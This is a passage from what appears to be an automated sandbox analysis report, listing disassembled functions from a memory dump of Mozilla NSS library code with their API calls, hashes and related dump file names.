Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ef0d604f4538d56b8b3353165a612668a02d31997e1370e9a14620fefd90cfae
Instruction ID: 7ac9d4870a1a1ae4e58db13247e8171929eda4dd1745470ec9a1d0e3b5e1ed85
Opcode Fuzzy Hash: ef0d604f4538d56b8b3353165a612668a02d31997e1370e9a14620fefd90cfae
Instruction Fuzzy Hash: 16A1D3719142019BEB009F24DC46B6A32B8DB8230CF368D39E959CBB91E775F9478793

Function 6CE9AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF39
PR_Unlock.NSS3(?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF69
TlsGetValue.KERNEL32 ref: 6CE9B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE9B083
PR_Unlock.NSS3(?), ref: 6CE9B0A4
TlsGetValue.KERNEL32 ref: 6CE9B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE9B0D9
PR_Unlock.NSS3 ref: 6CE9B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9B182

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE9B177

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1C2

Part of subcall function 6CEC1560: TlsGetValue.KERNEL32(00000000,?,6CE90844,?), ref: 6CEC157A
Part of subcall function 6CEC1560: EnterCriticalSection.KERNEL32(?,?,?,6CE90844,?), ref: 6CEC158F
Part of subcall function 6CEC1560: PR_Unlock.NSS3(?,?,?,?,6CE90844,?), ref: 6CEC15B2

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 9b3c3775aa79d594f797f52923eeed5b6a201ac0228dc16345c547bba4a9e64c
Instruction ID: 0b3d255dce1b93fc2e9d7fa24be95b796b5ba603e6fe098eb970285f4669c13c
Opcode Fuzzy Hash: 9b3c3775aa79d594f797f52923eeed5b6a201ac0228dc16345c547bba4a9e64c
Instruction Fuzzy Hash: E9A1A0B6E002059BEF009F64DC45BEAB7B4EF0530CF244129E909A7751E731E999CBE1

Function 6CE92C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C93

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23), ref: 6CE92CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?), ref: 6CE92CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?), ref: 6CE92D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE92D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE92D71
PR_Unlock.NSS3(?), ref: 6CE92D7E

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Strings

#?l, xrefs: 6CE92C43

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 8ee4cf20fb281e1aa36fe7ee269d2fbfbafb44cd30bb4c765a79674c313cdf11
Instruction ID: a3002c9e565cbb6b96ba129dbd50c13d6aead9141f0ad00d26a9472ed462bf7e
Opcode Fuzzy Hash: 8ee4cf20fb281e1aa36fe7ee269d2fbfbafb44cd30bb4c765a79674c313cdf11
Instruction Fuzzy Hash: AF5116B6E10604ABDF009F24DC859AAB778FF1635CB248524EC1997B11E731ED64C7E1

Function 6CEEAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEADB1

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEEADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEEAE08

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEAE25
PL_FreeArenaPool.NSS3 ref: 6CEEAE63
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEEAE4D

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEAE93
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEEAECC
PL_FreeArenaPool.NSS3 ref: 6CEEAEDE
PL_FinishArenaPool.NSS3 ref: 6CEEAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEAEF5
PL_FinishArenaPool.NSS3 ref: 6CEEAF16

Strings

security, xrefs: 6CEEADEE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: a58f4fae33b8025d83b45e78ad4439abea6be3b4c29bffe6442c6be7379ed30c
Instruction ID: da084c4bf01b153159ed5e62a09df01acbd034cf0279632f9b3b18398f0d9562
Opcode Fuzzy Hash: a58f4fae33b8025d83b45e78ad4439abea6be3b4c29bffe6442c6be7379ed30c
Instruction Fuzzy Hash: 14412AB198421067E7204B24DC45BAA36B8AF4A35CF31052EE81496F51F735A989C7D3

Function 6CF8AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39890: TlsGetValue.KERNEL32(?,?,?,6CF397EB), ref: 6CF3989E

EnterCriticalSection.KERNEL32(?), ref: 6CF8AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF8AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF8AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF8AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF8B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8B070
PR_JoinThread.NSS3(?), ref: 6CF8B07B
free.MOZGLUE(?), ref: 6CF8B084
EnterCriticalSection.KERNEL32(?), ref: 6CF8B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8B0C4
PR_JoinThread.NSS3(?), ref: 6CF8B0F3
free.MOZGLUE(?), ref: 6CF8B0FC
PR_JoinThread.NSS3(?), ref: 6CF8B137
free.MOZGLUE(?), ref: 6CF8B140

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 07ffbc643d18891119c62305f8d4411b45dfa5e5582e31c07648680e7b9939d5
Instruction ID: 290c5b9a20fd9030a4d5b05630bcad55127ffe7af8a6c9be30c46215ad920124
Opcode Fuzzy Hash: 07ffbc643d18891119c62305f8d4411b45dfa5e5582e31c07648680e7b9939d5
Instruction Fuzzy Hash: 3A9171B6901611DFCB04DF15C880946BBF1FF493187298569D8199BB22EB32FD46CBD1

Function 6CF05CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CF02BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02BF0
Part of subcall function 6CF02BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02C07
Part of subcall function 6CF02BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02C1E
Part of subcall function 6CF02BE0: free.MOZGLUE(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02C4A

free.MOZGLUE(?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D0F
free.MOZGLUE(?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D4E
free.MOZGLUE(?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D62
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D85
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D99
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF05E3E
free.MOZGLUE(?,?,?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF05E47
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF05E78
free.MOZGLUE(?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05F4B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 623b67d818e004f84677ba1848976ca3b4b6a4452535ce0ba3e169cc7742c2aa
Instruction ID: b9239e772c5af57ea6ad50b21983080d7b76c893c5f735ad6cc50bec4c1fe0d8
Opcode Fuzzy Hash: 623b67d818e004f84677ba1848976ca3b4b6a4452535ce0ba3e169cc7742c2aa
Instruction Fuzzy Hash: C8719CB5A04B019FD700CF24D898A93B7F5BF89308F148529E85E87B11EB32F959CB91

Function 6CE88DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE88E22
EnterCriticalSection.KERNEL32(?), ref: 6CE88E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE88E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE88E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE88EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE88EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE88EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F00
free.MOZGLUE(?), ref: 6CE88F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE88F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F5B
PR_Unlock.NSS3(?), ref: 6CE88F72
PR_Unlock.NSS3(?), ref: 6CE88F82

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: de5b9371afb9b85cf36bcaaaf633d9dd8ef07c5e0067c0349ebd62b89bd567a9
Instruction ID: f5a59f2f04fb9f494647257d8affc959b0dafb51fd3a5c10335f100b04c4e034
Opcode Fuzzy Hash: de5b9371afb9b85cf36bcaaaf633d9dd8ef07c5e0067c0349ebd62b89bd567a9
Instruction Fuzzy Hash: D15127B2E022159FEB209F68CC8596EB7B9EF45358F25412AEC1C9B700E731ED4587E1

Function 6CF80FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF81000

Part of subcall function 6CF39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE61A48), ref: 6CF39BB3
Part of subcall function 6CF39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE61A48), ref: 6CF39BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF81016

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_Unlock.NSS3(?), ref: 6CF81021

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF81046
PR_Unlock.NSS3(?), ref: 6CF8106B
PR_Lock.NSS3 ref: 6CF81079
PR_Unlock.NSS3 ref: 6CF81096
free.MOZGLUE(?), ref: 6CF810A7
free.MOZGLUE(?), ref: 6CF810B4
PR_DestroyCondVar.NSS3(?), ref: 6CF810BF
PR_DestroyCondVar.NSS3(?), ref: 6CF810CA
PR_DestroyCondVar.NSS3(?), ref: 6CF810D5
PR_DestroyCondVar.NSS3(?), ref: 6CF810E0
PR_DestroyLock.NSS3(?), ref: 6CF810EB
free.MOZGLUE(?), ref: 6CF81105

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 9b136d9dd6101c24cd267ea21443d44fca3d5106a6147d881f1d078fffd73061
Instruction ID: 8b1bbfa839fd27f0a3fcb455803c2f75d02ea186ec3876b9f102409750a4d4a7
Opcode Fuzzy Hash: 9b136d9dd6101c24cd267ea21443d44fca3d5106a6147d881f1d078fffd73061
Instruction Fuzzy Hash: 86317CB5E15801ABDB029F25EC41A45BB71FF01359B188234E81953FA1EB32F978DBD2

Function 6CDFDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDFDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDFDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDFDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDFDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFDECD

Strings

database corruption, xrefs: 6CDFDF77, 6CDFDFE7
%s at line %d of [%.10s], xrefs: 6CDFDF7C, 6CDFDFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFDF6D, 6CDFDFCC, 6CDFDFDD

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 2655cff4149e2e94cd46c418bf10854cba5ca4eb239edd24ab474626196352c5
Instruction ID: 249957589bb31038064a1667d12f4590898f594278b2794f09afc85001f0f6d9
Opcode Fuzzy Hash: 2655cff4149e2e94cd46c418bf10854cba5ca4eb239edd24ab474626196352c5
Instruction Fuzzy Hash: 79A1C5716043419FD710CF29C880A6AB7F5FF85308F16892DF8A98BB61D731E946CBA1

Function 6CEBEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CEBEE0B

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBEEE1

Part of subcall function 6CEB1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CEB1D7E
Part of subcall function 6CEB1D50: EnterCriticalSection.KERNEL32(?), ref: 6CEB1D8E
Part of subcall function 6CEB1D50: PR_Unlock.NSS3(?), ref: 6CEB1DD3

TlsGetValue.KERNEL32 ref: 6CEBEE51
EnterCriticalSection.KERNEL32(?), ref: 6CEBEE65
PR_Unlock.NSS3(?), ref: 6CEBEEA2
free.MOZGLUE(?), ref: 6CEBEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CEBEED0
PR_Unlock.NSS3(?), ref: 6CEBEF48
free.MOZGLUE(?), ref: 6CEBEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CEBEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CEBEFA4
free.MOZGLUE(?), ref: 6CEBEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEBF055
free.MOZGLUE(?), ref: 6CEBF060

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 784a3f03ab681aa5b7375584a83c4a52b906d09a9342d446a7c255cac431b2f6
Instruction ID: f97078a2e28e807f21f90903a5c9580f1feb7bd3ac37d5439cb8a0dc504856f6
Opcode Fuzzy Hash: 784a3f03ab681aa5b7375584a83c4a52b906d09a9342d446a7c255cac431b2f6
Instruction Fuzzy Hash: 61815F75E00205ABDB009FA5DD85BEE7BB5BF09318F244068F909B7B11E735E924CBA1

Function 6CE84CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE84D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE84D95
